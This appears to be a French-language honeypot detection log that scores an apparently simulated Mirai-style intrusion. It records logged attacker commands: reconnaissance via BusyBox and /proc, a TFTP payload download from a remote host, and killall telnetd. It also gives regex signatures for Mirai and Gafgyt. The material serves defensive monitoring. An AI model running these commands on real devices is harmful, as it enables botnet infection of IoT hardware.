|
26/07/2026 22:47:01 |
scanner_detection |
3/5
|
+15 |
Scanner automatisé suspecté : hydra_or_ncrack_suspected |
4 tentatives dans la même session; cadence rapide=True |
|
26/07/2026 22:47:01 |
fake_login |
1/5
|
+5 |
Faux login accepté |
test-mirai |
|
26/07/2026 22:47:01 |
reconnaissance |
1/5
|
+5 |
Reconnaissance du système |
cat /proc/cpuinfo |
|
26/07/2026 22:47:01 |
mirai_behavior |
4/5
|
+20 |
Utilisation de BusyBox |
/bin/busybox uname -a |
|
26/07/2026 22:47:01 |
iot_scanner |
5/5
|
+15 |
Campagne ou famille de malware suspectée : iot_scanner_suspected |
(?:^|/)busybox\b, /proc/(?:cpuinfo|mounts|meminfo), \buname\s+(?:-a|-m)\b |
|
26/07/2026 22:47:01 |
scanner_detection |
3/5
|
+0 |
Scanner automatisé suspecté : iot_scanner_suspected |
Signatures comportementales : (?:^|/)busybox\b, /proc/(?:cpuinfo|mounts|meminfo), \buname\s+(?:-a|-m)\b |
|
26/07/2026 22:47:02 |
payload_download |
3/5
|
+20 |
Téléchargement avec TFTP ou FTP |
tftp 192.0.2.10 -g -r mirai-test |
|
26/07/2026 22:47:02 |
botnet |
5/5
|
+25 |
Campagne ou famille de malware suspectée : mirai_suspected |
(?:^|/)busybox\b, \b(?:tftp|ftpget|wget)\b, /proc/(?:mounts|cpuinfo) |
|
26/07/2026 22:47:02 |
scanner_detection |
3/5
|
+0 |
Scanner automatisé suspecté : mirai_suspected |
Signatures comportementales : (?:^|/)busybox\b, \b(?:tftp|ftpget|wget)\b, /proc/(?:mounts|cpuinfo) |
|
26/07/2026 22:47:02 |
defense_evasion |
3/5
|
+12 |
Arrêt de processus ou de services |
killall telnetd |
|
26/07/2026 22:47:02 |
botnet |
5/5
|
+25 |
Campagne ou famille de malware suspectée : gafgyt_suspected |
(?:^|/)busybox\b, \bkillall\b, \b(?:wget|tftp)\b |
|
26/07/2026 22:47:02 |
scanner_detection |
3/5
|
+0 |
Scanner automatisé suspecté : gafgyt_suspected |
Signatures comportementales : (?:^|/)busybox\b, \bkillall\b, \b(?:wget|tftp)\b |